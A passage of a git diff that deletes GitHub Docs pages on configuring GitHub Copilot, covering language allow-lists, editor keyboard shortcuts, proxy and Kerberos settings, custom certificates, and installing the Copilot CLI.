add to the `languageAllowList` must contain an entry key and a value. The entry key is the name of the language, or (`*`) for a wildcard. The value is either `true` or `false`. If the value is `true`, {% data variables.product.prodname_copilot %} is activated for the specified language. If the value is `false`, {% data variables.product.prodname_copilot %} is deactivated for the specified language. - -The file is located in the following directory: - -* **macOS:** `~/Library/Application Support/JetBrains/<product><version>/options/github-copilot.xml` -* **Windows:** `%APPDATA%\JetBrains\<product><version>\options\github-copilot.xml` -* **Linux:** `~/.config/JetBrains/<product><version>/options/github-copilot.xml` - -For example, if you are using IntelliJ IDEA 2021.1 on macOS, the file is located at `~/Library/Application Support/JetBrains/IdeaIC2021.1/options/github-copilot.xml`. - -The `github-copilot.xml` file might not be generated until you make a change to your default language configuration in the IDE's settings. If you cannot locate the file, you should try modifying the default language settings in the IDE. For more information, see [Configuring language settings in the IDE](#configuring-language-settings-in-the-ide). - -Alternatively, you can create the file manually and save it in the location for your operating system listed above. For more information, see [Example language configurations](#example-language-configurations). - -1. Open the `github-copilot.xml` file in a text editor. -1. Between the `<map>` tags, add the line or lines for the languages you want to activate or deactivate {% data variables.product.prodname_copilot %} for. For example, to deactivate {% data variables.product.prodname_copilot %} for all languages: - - ```xml copy - <entry key="*" value="false" /> - ``` - -1. Save the changes to the `github-copilot.xml` file. -1. Restart your JetBrains IDE for the changes to take effect. - -### Example language configurations - -The default configuration of the `github-copilot.xml` file, which enables {% data variables.product.prodname_copilot %} for all languages is as follows: - -```xml copy -<application> - <component name="github-copilot"> - <languageAllowList> - <map> - <entry key="*" value="true" /> - </map> - </languageAllowList> - </component> -</application> -``` - -To deactivate {% data variables.product.prodname_copilot %} for all languages, the wildcard (`*`) value is changed to `false`: - -```xml copy -<application> - <component name="github-copilot"> - <languageAllowList> - <map> - <entry key="*" value="false" /> - </map> - </languageAllowList> - </component> -</application> -``` - -To specify languages individually, add an entry for each language you want to activate or deactivate {% data variables.product.prodname_copilot %} for. Specific language settings will override the wildcard. For example, to activate {% data variables.product.prodname_copilot %} for Python and YAML, and deactivate {% data variables.product.prodname_copilot %} for all other languages, add the following entries: - -```xml copy -<application> - <component name="github-copilot"> - <languageAllowList> - <map> - <entry key="*" value="false" /> - <entry key="Python" value="true" /> - <entry key="YAML" value="true" /> - </map> - </languageAllowList> - </component> -</application> -``` - -You can also add a configuration to make the `languageAllowList` readonly in the IDE's settings. This will prevent you from changing the language settings in the IDE. For example: - -```xml copy -<application> - <component name="github-copilot"> - <option name="languageAllowListReadOnly" value="true" /> - <languageAllowList> - <map> - <entry key="*" value="true" /> - </map> - </languageAllowList> - </component> -</application> -``` - -{% data reusables.copilot.dotcom-settings %} - -## Further reading - -* [{% data variables.product.prodname_copilot %} FAQ](https://github.com/features/copilot/#faq) - -{% endjetbrains %} - -{% visualstudio %} - -## About {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vs %} - -If you use {% data variables.product.prodname_vs %}, {% data variables.product.prodname_copilot %} can help you with a variety of tasks, including generating code suggestions, explaining how the code in your editor works, and suggesting code fixes. After installation, you can enable or disable {% data variables.product.prodname_copilot %}, and you can configure advanced settings within {% data variables.product.prodname_vs %} or on {% data variables.product.github %}. - -## Prerequisites - -To configure {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vs %}, you must install the {% data variables.product.prodname_copilot %} plugin. For more information, see [AUTOTITLE](/copilot/using-github-copilot/getting-started-with-github-copilot?tool=visualstudio). - -## Using or rebinding keyboard shortcuts for {% data variables.product.prodname_copilot %} - -You can use the default keyboard shortcuts in {% data variables.product.prodname_vs %} when using {% data variables.product.prodname_copilot %}. Alternatively, you can rebind the shortcuts in the Tools settings for {% data variables.product.prodname_vs %} using your preferred keyboard shortcuts for each specific command. You can search for each keyboard shortcut by its command name in the Keyboard Shortcuts editor. - -### Using default keyboard shortcuts - -| Action | Shortcut | Command name | -|:---|:---|:---| -|Show next inline suggestion|<kbd>Alt</kbd>+<kbd>.</kbd>|Edit.NextSuggestion| -|Show previous inline suggestion|<kbd>Alt</kbd>+<kbd>,</kbd>|Edit.PreviousSuggestion| - -### Rebinding keyboard shortcuts - -If you don't want to use the default keyboard shortcuts in {% data variables.product.prodname_vs %} when using {% data variables.product.prodname_copilot %}, you can rebind the shortcuts in the Keyboard editor using your preferred keyboard shortcuts for each specific command. - -1. In the {% data variables.product.prodname_vs %} menu bar, under **Tools**, click **Options**. - - ![Screenshot of the {% data variables.product.prodname_vs %} menu bar. The "Tools" menu is expanded, and the "Options" item is highlighted with an orange outline.](/assets/images/help/copilot/vs-toolbar-options.png) - -1. In the "Options" dialog, under **Environment**, click **Keyboard**. -1. Under "Show commands containing:", search for the command you want to rebind. - - ![Screenshot of the "Show commands containing" search bar. The string "tools.next" is entered in the search field.](/assets/images/help/copilot/vs-show-commands-containing.png) - -1. Under "Press shortcut keys," type the shortcut you want to assign to the command, then click **Assign**. - - ![Screenshot of the fields for entering a new keyboard shortcut assignment.](/assets/images/help/copilot/vs-rebind-shortcut.png) - -{% data reusables.copilot.enabling-or-disabling-vs %} - -## Configuring ReSharper for {% data variables.product.prodname_copilot %} - -If you use ReSharper, {% data variables.product.prodname_copilot %} may work best when you configure ReSharper to use {% data variables.product.prodname_copilot %}'s native IntelliSense. For more information about ReSharper, see the [ReSharper documentation](https://www.jetbrains.com/resharper/documentation/documentation.html) - -1. In the {% data variables.product.prodname_vs %} menu bar, under **Extensions**, click **ReSharper**, then click **Options**. -1. In the "Options" dialog, under **Environment**, click **IntelliSense** and then click **General**. -1. Under "General" select **{% data variables.product.prodname_vs %}** and then click **Save**. - -{% data reusables.copilot.dotcom-settings %} - -## Further reading - -* [{% data variables.product.prodname_copilot %} FAQ](https://github.com/features/copilot/#faq) - -{% endvisualstudio %} - -{% vscode %} - -## About {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vscode %} - -If you use {% data variables.product.prodname_vscode %}, {% data variables.product.prodname_copilot %} can help you with a variety of tasks, including generating code suggestions, explaining how the code in your editor works, and suggesting edits based on your instructions. You can enable or disable {% data variables.product.prodname_copilot %}, and configure advanced settings within {% data variables.product.prodname_vscode %} or on {% data variables.product.github %}. - -You can learn more about scenarios and setup in the [{% data variables.product.prodname_vscode_shortname %} documentation](https://code.visualstudio.com/docs/copilot/overview#_use-cases-for-github-copilot-in-vs-code). - -## Keyboard shortcuts for {% data variables.product.prodname_copilot %} - -You can use the default keyboard shortcuts for {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_copilot %}. Search keyboard shortcuts by command name in the Keyboard Shortcuts editor. - -Alternatively, you can rebind the shortcut for each command in the Keyboard Shortcuts editor. For more information, see the [VS Code documentation on editing shortcuts](https://code.visualstudio.com/Docs/editor/keybindings). - -### Keyboard shortcuts for macOS - -| Action | Shortcut | Command name | -|:---|:---|:---| -|Accept an inline suggestion|<kbd>Tab</kbd>|editor.action.inlineSuggest.commit| -|Dismiss an inline suggestion|<kbd>Esc</kbd>|editor.action.inlineSuggest.hide| -|Show next inline suggestion| <kbd>Option (⌥)</kbd>+<kbd>]</kbd><br> |editor.action.inlineSuggest.showNext| -|Show previous inline suggestion| <kbd>Option (⌥)</kbd>+<kbd>[</kbd><br> |editor.action.inlineSuggest.showPrevious| -|Trigger inline suggestion| <kbd>Option (⌥)</kbd>+<kbd>\\</kbd><br> |editor.action.inlineSuggest.trigger| -|Open {% data variables.product.prodname_copilot %} (additional suggestions in separate pane)|<kbd>Ctrl</kbd>+<kbd>Return</kbd>|github.copilot.generate| -|Toggle {% data variables.product.prodname_copilot %} on/off|_No default shortcut_|github.copilot.toggleCopilot| - -### Keyboard shortcuts for Windows - -| Action | Shortcut | Command name | -|:---|:---|:---| -|Accept an inline suggestion|<kbd>Tab</kbd>|editor.action.inlineSuggest.commit| -|Dismiss an inline suggestion|<kbd>Esc</kbd>|editor.action.inlineSuggest.hide| -|Show next inline suggestion|<kbd>Alt</kbd>+<kbd>]</kbd> |editor.action.inlineSuggest.showNext| -|Show previous inline suggestion|<kbd>Alt</kbd>+<kbd>[</kbd>|editor.action.inlineSuggest.showPrevious| -|Trigger inline suggestion|<kbd>Alt</kbd>+<kbd>\\</kbd>|editor.action.inlineSuggest.trigger| -|Open {% data variables.product.prodname_copilot %} (additional suggestions in separate pane)|<kbd>Ctrl</kbd>+<kbd>Enter</kbd>|github.copilot.generate| -|Toggle {% data variables.product.prodname_copilot %} on/off|_No default shortcut_|github.copilot.toggleCopilot| - -### Keyboard shortcuts for Linux - -| Action | Shortcut | Command name | -|:---|:---|:---| -|Accept an inline suggestion|<kbd>Tab</kbd>|editor.action.inlineSuggest.commit| -|Dismiss an inline suggestion|<kbd>Esc</kbd>|editor.action.inlineSuggest.hide| -|Show next inline suggestion|<kbd>Alt</kbd>+<kbd>]</kbd> |editor.action.inlineSuggest.showNext| -|Show previous inline suggestion|<kbd>Alt</kbd>+<kbd>[</kbd>|editor.action.inlineSuggest.showPrevious| -|Trigger inline suggestion|<kbd>Alt</kbd>+<kbd>\\</kbd>|editor.action.inlineSuggest.trigger| -|Open {% data variables.product.prodname_copilot %} (additional suggestions in separate pane)|<kbd>Ctrl</kbd>+<kbd>Enter</kbd>|github.copilot.generate| -|Toggle {% data variables.product.prodname_copilot %} on/off|_No default shortcut_|github.copilot.toggleCopilot| - -{% data reusables.copilot.enabling-or-disabling-in-vsc %} - -## Enabling or disabling inline suggestions - -You can choose to enable or disable inline suggestions for {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vscode %}. - -{% data reusables.copilot.vscode-settings %} -1. In the left-side panel of the settings tab, click **Extensions** and then select **{% data variables.product.prodname_copilot_short %}**. -1. Under "Inline Suggest:Enable," select or deselect the checkbox to enable or disable inline suggestions. - -## Enabling {% data variables.copilot.next_edit_suggestions %} - -You can enable {% data variables.copilot.next_edit_suggestions %} via the {% data variables.product.prodname_vscode_shortname %} setting `github.copilot.nextEditSuggestions.enabled`. For more detailed instructions, see [Enabling edit suggestions](https://code.visualstudio.com/docs/copilot/ai-powered-suggestions#_enabling-edit-suggestions) in the {% data variables.product.prodname_vscode_shortname %} documentation. - -{% data reusables.copilot.editor-preview-settings %} - -## Enabling or disabling {% data variables.product.prodname_copilot %} for specific languages - -You can specify which languages you want to enable or disable {% data variables.product.prodname_copilot %} for. - -1. From the {% data variables.product.prodname_vscode %}, click the **Extensions** tab, then navigate to the **Copilot** section. For more information, see [Enabling or disabling inline suggestions](#enabling-or-disabling-inline-suggestions). -1. Under "Enable or disable {% data variables.product.prodname_copilot_short %} for specified languages," click **Edit in settings.json**. -1. In the _settings.json_ file, add or remove the languages you want to enable or disable {% data variables.product.prodname_copilot %} for. For example, to enable Python in {% data variables.product.prodname_copilot %}, add `"python": true` to the list, ensuring there is a trailing comma after all but the last list item. - - ```json - { - "editor.inlineSuggest.enabled": true, - "github.copilot.enable": { - "*": true, - "yaml": false, - "plaintext": false, - "markdown": true, - "javascript": true, - "python": true - } - } - ``` - -## Revoking {% data variables.product.prodname_copilot %} authorization - -{% data variables.product.prodname_vscode %} retains authorization to use {% data variables.product.prodname_copilot %} through a particular {% data variables.product.prodname_dotcom %} account. If you want to prevent your {% data variables.product.prodname_dotcom %} account being used for {% data variables.product.prodname_copilot %} on a device you no longer have access to, you can revoke authorization and then go through the authorization process again. The device you previously used will not have the new authorization. - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.access_applications %} -{% data reusables.user-settings.access_authorized_oauth_apps %} -1. Click the **...** next to **{% data variables.product.prodname_dotcom %} for {% data variables.product.prodname_vscode_shortname %}** and click **Revoke**. -{% data reusables.user-settings.access_authorized_github_apps %} -1. If the **{% data variables.product.prodname_copilot %}** extension is listed, click **Revoke**. - -After revoking authorization, {% data variables.product.prodname_vscode %} will be able to continue using {% data variables.product.prodname_copilot %} in a current session for a maximum of 30 minutes. After that time, you will need to reauthorize {% data variables.product.prodname_copilot %} for use in {% data variables.product.prodname_vscode %} again. - -## Re-authorizing {% data variables.product.prodname_copilot %} - -After you have revoked authorization, if you want to continue using {% data variables.product.prodname_copilot %}, you will need to complete the reauthorization process. - -1. In the bottom left corner of {% data variables.product.prodname_vscode %}, click the **Accounts** icon, hover over your username, and click **Sign out**. - - ![Screenshot of the menu in {% data variables.product.prodname_vscode %}. The "Sign out" option is outlined in dark orange.](/assets/images/help/copilot/vsc-sign-out.png) - -1. In the "{% data variables.product.prodname_vscode %}" pop-up, click **Sign Out**. - -1. In the bottom left corner of {% data variables.product.prodname_vscode %}, click the **Accounts** icon, hover over your username, and click **Sign in with {% data variables.product.prodname_dotcom %} to use {% data variables.product.prodname_copilot %}**. - - ![Screenshot of the accounts menu in {% data variables.product.prodname_vscode %}. The "Sign in with {% data variables.product.prodname_dotcom %} to use {% data variables.product.prodname_copilot %} (1)" option is outlined in dark orange.](/assets/images/help/copilot/vsc-sign-in.png) - -1. In your browser, {% data variables.product.prodname_dotcom %} will request the necessary permissions for {% data variables.product.prodname_copilot %}. To approve these permissions, click **Continue**. -1. In the "Open {% data variables.product.prodname_vscode %}?" pop-up, click **Open {% data variables.product.prodname_vscode %}**. - -{% data reusables.copilot.dotcom-settings %} - -## Further reading - -* [{% data variables.product.prodname_copilot %} in VS Code](https://code.visualstudio.com/docs/copilot/overview) -* [{% data variables.product.prodname_copilot %} FAQ](https://github.com/features/copilot/#faq) - -{% endvscode %} - -{% vimneovim %} - -## Configuring {% data variables.product.prodname_copilot %} in Vim/Neovim - -For guidance on configuring {% data variables.product.prodname_copilot %} in Vim/Neovim, invoke the {% data variables.product.prodname_copilot %} documentation in Vim/Neovim by running the following command: - - :help copilot - -## Rebinding keyboard shortcuts - -You can rebind the keyboard shortcuts in Vim/Neovim when using {% data variables.product.prodname_copilot %} to use your preferred keyboard shortcuts for each specific command. For more information, see the [Map](https://neovim.io/doc/user/map.html) article in the Neovim documentation. - -{% data reusables.copilot.dotcom-settings %} - -## Further reading - -* [{% data variables.product.prodname_copilot %} FAQ](https://github.com/features/copilot/#faq) - -{% endvimneovim %} - -{% xcode %} - -## About {% data variables.product.prodname_copilot %} in Xcode - -If you use Xcode, {% data variables.product.prodname_copilot %} can help you with a variety of tasks, including generating code suggestions, explaining how the code in your editor works, and suggesting code fixes. After installation, you can enable or disable {% data variables.product.prodname_copilot %}, and you can configure advanced settings within Xcode or on {% data variables.product.github %}. - -## Prerequisites - -To configure {% data variables.product.prodname_copilot %} for Xcode, you must install the {% data variables.product.prodname_copilot %} extension. See [AUTOTITLE](/copilot/managing-copilot/configure-personal-settings/installing-the-github-copilot-extension-in-your-environment?tool=xcode). - -## Using or rebinding keyboard shortcuts for {% data variables.product.prodname_copilot %} - -You can use the default keyboard shortcuts for inline suggestions in Xcode when using {% data variables.product.prodname_copilot %}. Alternatively, you can rebind the shortcuts to your preferred keyboard shortcuts for each specific command. - -### Default keyboard shortcuts - -| Action | Shortcut | -|:---|:---| -|Accept the first line of a suggestion|<kbd>Tab</kbd>| -|View full suggestion|Hold <kbd>Option</kbd>| -|Accept full suggestion|<kbd>Option</kbd>+<kbd>Tab</kbd>| - -### Rebinding keyboard shortcuts - -If you don't want to use the default keyboard shortcuts for {% data variables.product.prodname_copilot %}, you can rebind the shortcuts in the Key Bindings editor and use your preferred keyboard shortcuts. - -If you want to use something besides <kbd>Tab</kbd> to accept the first line of a suggestion, you need to disable the "Accept suggestions with Tab" option in the advanced settings in the {% data variables.product.prodname_copilot %} for Xcode application. Additionally, we currently only support the <kbd>Option</kbd> key for the "View full suggestion" action. - -1. In the Xcode menu bar, click **Settings**. -1. Click **Key Bindings** and search for "{% data variables.product.prodname_copilot_short %}" to find the commands you want to rebind. - -## Enabling or disabling {% data variables.product.prodname_copilot %} - -You can enable or disable the {% data variables.product.prodname_copilot %} extension from within the application. - -1. Open the {% data variables.product.prodname_copilot %} extension application. -1. At the top of the application window, click **Advanced**. -1. In the "Suggestion Settings" section, use the "Request suggestions while typing" toggle to enable or disable the extension. - -## Automatically updating {% data variables.product.prodname_copilot %} for Xcode - -You can configure the {% data variables.product.prodname_copilot %} extension to automatically check for updates. - -1. Open the {% data variables.product.prodname_copilot %} extension application. -1. Select **Automatically check for updates**. - -After updating the extension, Xcode must be restarted for the changes to take effect. - -{% data reusables.copilot.dotcom-settings %} - -{% endxcode %} - -{% eclipse %} - -## About {% data variables.product.prodname_copilot %} in Eclipse - -If you use Eclipse, {% data variables.product.prodname_copilot %} can provide code suggestions as you work in the IDE. You can also use the {% data variables.product.prodname_copilot_chat_short %} panel to work with {% data variables.product.prodname_copilot_short %} as your AI pair programmer. - -{% data reusables.copilot.eclipse-public-preview-note %} - -After you install {% data variables.product.prodname_copilot %} in Eclipse, you can enable or disable it, and you can configure advanced settings within the IDE. - -## Prerequisites - -To configure {% data variables.product.prodname_copilot %} in Eclipse, you must install the {% data variables.product.prodname_copilot %} extension. See [AUTOTITLE](/copilot/configuring-github-copilot/installing-the-github-copilot-extension-in-your-environment?tool=eclipse). - -## Using or rebinding keyboard shortcuts for {% data variables.product.prodname_copilot %} - -You can use the default keyboard shortcuts for inline suggestions in Eclipse when using {% data variables.product.prodname_copilot %}. Alternatively, you can rebind the shortcuts to your preferred keyboard shortcuts for each specific command. - -## Rebinding keyboard shortcuts - -If you don't want to use the default keyboard shortcuts for {% data variables.product.prodname_copilot %}, you can rebind the shortcuts in the Key Bindings editor and use your preferred keyboard shortcuts. - -1. In the IDE, click **{% octicon "copilot" aria-hidden="true" %} {% data variables.product.prodname_copilot_short %}** to open the menu. -1. Click **Edit Keyboard Shortcuts...** to rebind the shortcuts. - -## Settings and configurations - -For advanced settings, you can set auto-completion behavior, configure proxy, and assign a {% data variables.product.prodname_enterprise %} authentication endpoint. - -{% data reusables.copilot.dotcom-settings %} - -{% endeclipse %} diff --git a/content/copilot/managing-copilot/configure-personal-settings/configuring-network-settings-for-github-copilot.md b/content/copilot/managing-copilot/configure-personal-settings/configuring-network-settings-for-github-copilot.md deleted file mode 100644 index d0513e4d317b..000000000000 --- a/content/copilot/managing-copilot/configure-personal-settings/configuring-network-settings-for-github-copilot.md +++ /dev/null @@ -1,146 +0,0 @@ ---- -title: Configuring network settings for GitHub Copilot -shortTitle: Network settings -intro: 'You can connect to {% data variables.product.prodname_copilot_short %} through an HTTP proxy and use custom certificates.' -product: '{% data reusables.gated-features.copilot %}' -topics: - - Copilot -versions: - feature: copilot -redirect_from: - - /copilot/configuring-github-copilot/configuring-network-settings-for-github-copilot ---- - -{% visualstudio %} - -{% data reusables.copilot.vs-for-mac-note %} - -{% endvisualstudio %} - -## Introduction - -By default, {% data variables.product.prodname_copilot %} connects to {% data variables.product.prodname_dotcom %}'s server directly from your environment via a secure HTTPS connection. You don't necessarily need to configure any additional network settings to use {% data variables.product.prodname_copilot_short %}. - -Some networks use an HTTP proxy server to intercept Internet traffic before sending it to its intended location. Companies often use an HTTP proxy to detect suspicious traffic or restrict the content entering their networks. If you're working on a corporate network, you may need to configure {% data variables.product.prodname_copilot_short %} to connect via an HTTP proxy. - -> [!NOTE] The administrator of your proxy server or firewall also needs to configure network settings for {% data variables.product.prodname_copilot_short %} to work as expected. See [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/configuring-your-proxy-server-or-firewall-for-copilot). - -## Configuring proxy settings for {% data variables.product.prodname_copilot %} - -{% data variables.product.prodname_copilot %} supports basic HTTP proxy setups. If you need to authenticate to a proxy, {% data variables.product.prodname_copilot %} supports basic authentication or authentication with Kerberos. If the proxy URL starts `https://`, the proxy is not currently supported. - -You can configure an HTTP proxy for {% data variables.product.prodname_copilot %} in your chosen editor. To view instructions for your editor, use the tabs at the top of this article. - -If you don't configure a proxy directly in your editor, {% data variables.product.prodname_copilot %} checks if a proxy URL is set in any of the following environment variables, listed from highest to lowest priority. - -* `HTTPS_PROXY` -* `https_proxy` -* `HTTP_PROXY` -* `http_proxy` - -> [!NOTE] You can use any of these variables to store the URL of a standard HTTP proxy. In standard usage, the `http` and `https` portions of these variables refer to the type of request being made, not the URL of the proxy itself. {% data variables.product.prodname_copilot %} does not follow this convention and uses the URL stored in the variable with the highest priority as the proxy for both HTTP and HTTPS requests. - -If you have configured a proxy but are still encountering connection errors, see [AUTOTITLE](/copilot/troubleshooting-github-copilot/troubleshooting-network-errors-for-github-copilot#troubleshooting-proxy-errors). - -{% jetbrains %} - -### Configuring a proxy in a JetBrains IDE - -1. In your JetBrains IDE, click the **File** menu (Windows) or the name of the application in the menu bar (macOS), then click **Settings**. -1. Under **Appearance & Behavior**, click **System Settings** and then click **HTTP Proxy**. -1. Select **Manual proxy configuration**, and then select **HTTP**. -1. In the "Host name" field, enter the hostname of your proxy server, and in the "Port number" field, enter the port number of your proxy server. -1. Optionally, to configure {% data variables.product.prodname_copilot_short %} to ignore certificate errors, in the left sidebar, click **Tools**, click **Server Certificates**, then select or deselect **Accept non-trusted certificates automatically**. - - > [!WARNING] Ignoring certificate errors can cause security issues and is not recommended. - -### Basic authentication - -{% data variables.product.prodname_copilot %} for JetBrains supports basic authentication. To authenticate, you can select **Proxy authentication** on the "Manual proxy configuration" page, then enter your credentials. - -This stores your credentials as plaintext in your editor's settings. Alternatively, you may prefer to include your credentials in the proxy URL (for example: `http://USERNAME:PASSWORD@10.203.0.1:5187/`), and then set this URL as one of the supported environment variables listed in [Configuring proxy settings for {% data variables.product.prodname_copilot %}](#configuring-proxy-settings-for-github-copilot). - -{% endjetbrains %} - -{% vscode %} - -### Configuring a proxy in {% data variables.product.prodname_vscode %} - -{% data reusables.copilot.vscode-settings %} -1. In the left-side panel of the settings tab, click **Application** and then select **Proxy**. -1. In the text box under "Proxy", type the address of your proxy server, for example `http://localhost:3128`. -1. Optionally, to configure {% data variables.product.prodname_copilot_short %} to ignore certificate errors, under "Proxy Strict SSL", select or deselect the checkbox. - - > [!WARNING] Ignoring certificate errors can cause security issues and is not recommended. - -### Basic authentication - -{% data variables.product.prodname_copilot %} for {% data variables.product.prodname_vscode_shortname %} supports basic authentication. To authenticate, you can include your credentials in the proxy URL, for example: `http://USERNAME:PASSWORD@10.203.0.1:5187/`. You can store this URL in your {% data variables.product.prodname_vscode_shortname %} settings or in one of the environment variables listed in [Configuring proxy settings for {% data variables.product.prodname_copilot %}](#configuring-proxy-settings-for-github-copilot). - -{% endvscode %} - -{% visualstudio %} - -### Configuring a proxy in {% data variables.product.prodname_vs %} - -{% data variables.product.prodname_copilot %} for {% data variables.product.prodname_vs %} reads the proxy settings from Windows. For information about configuring proxy settings on Windows, see the instructions under "To set up a proxy server connection manually" in [Use a proxy server in Windows](https://support.microsoft.com/en-us/windows/use-a-proxy-server-in-windows-03096c53-0554-4ffe-b6ab-8b1deee8dae1) in the Microsoft documentation. - -### Basic authentication - -{% data variables.product.prodname_copilot %} for {% data variables.product.prodname_vs %} does not retrieve authentication credentials from the Windows settings. If you need to authenticate to a proxy, you can include your credentials in the proxy URL (for example: `http://USERNAME:PASSWORD@10.203.0.1:5187/`), then set this URL as one of the supported environment variables listed in [Configuring proxy settings for {% data variables.product.prodname_copilot %}](#configuring-proxy-settings-for-github-copilot). - -{% endvisualstudio %} - -### Authentication with Kerberos - -Kerberos is an authentication protocol that allows users and services to prove their identity to each other. When a user successfully authenticates, an authentication service grants the user a ticket that gives them access to a service for a period of time. Network administrators may prefer Kerberos to basic authentication because it is more secure and doesn't require sending unencrypted credentials. - -{% data variables.product.prodname_copilot %} supports authentication to a proxy with Kerberos. To use Kerberos, you must have the appropriate krb5 library for your operating system installed on your machine and an active ticket for the proxy service (either created manually with the `kinit` command or by another application). You can use the `klist` command to check if you have a ticket for the proxy service. - -Kerberos uses a service principal name (SPN) to uniquely identify a service instance. By default, the SPN is derived from the proxy URL. For example, if the proxy URL is `http://proxy.example.com:3128`, the SPN is `HTTP/proxy.example.com`. - -If the default SPN isn't correct for your proxy, you can override the SPN in {% data variables.product.prodname_vscode_shortname %} and in JetBrains IDEs. You cannot currently override the default SPN in {% data variables.product.prodname_vs %}. However, you can use the environment variable `AGENT_KERBEROS_SERVICE_PRINCIPAL` to override the SPN for {% data variables.product.prodname_vs %} and JetBrains IDEs. - -{% vscode %} - -#### Overriding the default SPN in {% data variables.product.prodname_vscode_shortname %} - -1. Open the {% data variables.product.prodname_vscode_command_palette_shortname %} by pressing <kbd>Shift</kbd>+<kbd>Command</kbd>+<kbd>P</kbd> (Mac) / <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> (Windows/Linux). -1. Type `settings`, then click **Preferences: Open User Settings (JSON)**. -1. In the JSON object, add the following top-level property, replacing `YOUR-SPN` with the correct SPN for your proxy service. - - ```json copy - "http.proxyKerberosServicePrincipal": "YOUR-SPN", - ``` - -{% endvscode %} - -{% jetbrains %} - -#### Overriding the default SPN in JetBrains IDEs - -1. In your JetBrains IDE, click the **File** menu (Windows) or the name of the application in the menu bar (macOS), then click **Settings**. -1. In the left sidebar, click **Languages & Frameworks**, then click **GitHub Copilot**. -1. In the "Advanced" section, in the "Override Kerberos Proxy Service Principal Name" field, type the SPN for your proxy service. - -{% endjetbrains %} - -## Allowing {% data variables.product.prodname_copilot %} to use custom certificates - -{% data variables.product.prodname_copilot_short %} can read custom SSL certificates installed on a user's machine. This allows a proxy server to be identified as the intended recipient of {% data variables.product.prodname_copilot_short %}'s secure connection, so network traffic can be inspected. Without a custom certificate, an HTTP proxy can be used to monitor, route, and terminate {% data variables.product.prodname_copilot_short %}'s connection, but not to inspect the contents of the traffic. - -{% data variables.product.prodname_copilot_short %} reads certificates from the operating system's trust store. It also reads extra certificates from the file specified by the standard Node.js environment variable `NODE_EXTRA_CA_CERTS`. For more information, see the [Node.js documentation](https://nodejs.org/docs/latest-v18.x/api/cli.html#node_extra_ca_certsfile). - -{% data variables.product.prodname_copilot_short %} can read certificates regardless of whether a proxy is configured directly on a user's machine. This allows {% data variables.product.prodname_copilot_short %} to support setups such as transparent proxies or Zscaler. - -### Installing custom certificates - -Generally, if you're using company equipment, your company's IT department should have already installed any required certificates on your machine. If you need to install a certificate, see the following instructions. - -> [!WARNING] Installing a custom certificate is an instruction for your computer to trust the creator of the certificate, potentially allowing the creator to intercept all Internet traffic from your machine. You should be very careful to verify that you are installing the correct certificate. - -* For Windows, see [Installing the trusted root certificate](https://learn.microsoft.com/en-us/skype-sdk/sdn/articles/installing-the-trusted-root-certificate) in the Microsoft documentation. -* For macOS, see [Add certificates to a keychain using Keychain Access on Mac](https://support.apple.com/en-gb/guide/keychain-access/kyca2431/mac) in the Keychain Access User Guide. -* For Linux, see [Installing a root CA certificate in the trust store](https://ubuntu.com/server/docs/security-trust-store) in the Ubuntu documentation. Similar instructions should apply to most Linux distributions. - -If you have installed a certificate but {% data variables.product.prodname_copilot_short %} isn't detecting it, see [AUTOTITLE](/copilot/troubleshooting-github-copilot/troubleshooting-network-errors-for-github-copilot#troubleshooting-certificate-related-errors). diff --git a/content/copilot/managing-copilot/configure-personal-settings/index.md b/content/copilot/managing-copilot/configure-personal-settings/index.md deleted file mode 100644 index 095bd93c1960..000000000000 --- a/content/copilot/managing-copilot/configure-personal-settings/index.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Configuring personal settings -shortTitle: Configure personal settings -intro: 'You can manage the configuration of {% data variables.product.prodname_copilot %} in a supported IDE or on {% data variables.product.github %}.' -versions: - feature: copilot -topics: - - Copilot -children: - - /installing-the-github-copilot-extension-in-your-environment - - /installing-github-copilot-in-the-cli - - /configuring-network-settings-for-github-copilot - - /configuring-github-copilot-in-your-environment - - /configuring-github-copilot-in-the-cli - - /using-github-copilot-with-an-account-on-ghecom - -redirect_from: - - /copilot/configuring-github-copilot ---- diff --git a/content/copilot/managing-copilot/configure-personal-settings/installing-github-copilot-in-the-cli.md b/content/copilot/managing-copilot/configure-personal-settings/installing-github-copilot-in-the-cli.md deleted file mode 100644 index 1ce21dafe7c9..000000000000 --- a/content/copilot/managing-copilot/configure-personal-settings/installing-github-copilot-in-the-cli.md +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Installing GitHub Copilot in the CLI -intro: 'Learn how to install {% data variables.product.prodname_copilot_cli_short %} so that you can get suggestions and explanations for the command line.' -versions: - feature: copilot-in-the-cli -topics: - - Copilot - - CLI -shortTitle: Install Copilot in the CLI -redirect_from: - - /copilot/github-copilot-in-the-cli/enabling-github-copilot-in-the-cli - - /copilot/github-copilot-in-the-cli/setting-up-github-copilot-in-the-cli - - /copilot/github-copilot-in-the-cli/installing-github-copilot-in-the-cli ---- - -## Prerequisites - -* **Access to {% data variables.product.prodname_copilot %}**. See [AUTOTITLE](/copilot/about-github-copilot/what-is-github-copilot#getting-access-to-copilot). -* **{% data variables.product.prodname_cli %} installed.** {% data reusables.cli.cli-installation %} - -If you have access to {% data variables.product.prodname_copilot %} via your organization or enterprise, you cannot use {% data variables.product.prodname_copilot_cli_short %} if your organization owner or enterprise administrator has disabled {% data variables.product.prodname_copilot_cli_short %}. See [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-github-copilot-features-in-your-organization/managing-policies-for-copilot-in-your-organization). - -## Installing {% data variables.product.prodname_copilot_cli_short %} - -1. If you have not already authenticated to the {% data variables.product.prodname_cli %}, run the following command in your terminal. - - ```shell copy - gh auth login - ``` - -1. To install the {% data variables.product.prodname_copilot_cli_short %} extension, run the following command. - - ```shell copy - gh extension install github/gh-copilot - ``` - -## Updating {% data variables.product.prodname_copilot_cli_short %} - -After installing the {% data variables.product.prodname_copilot_cli_short %} extension, you can update at any time by running: - -```shell copy -gh extension upgrade gh-copilot -``` - -## Further reading - -* [AUTOTITLE](/copilot/github-copilot-in-the-cli/using-github-copilot-in-the-cli) -* [AUTOTITLE](/copilot/github-copilot-in-the-cli/configuring-github-copilot-in-the-cli) diff --git 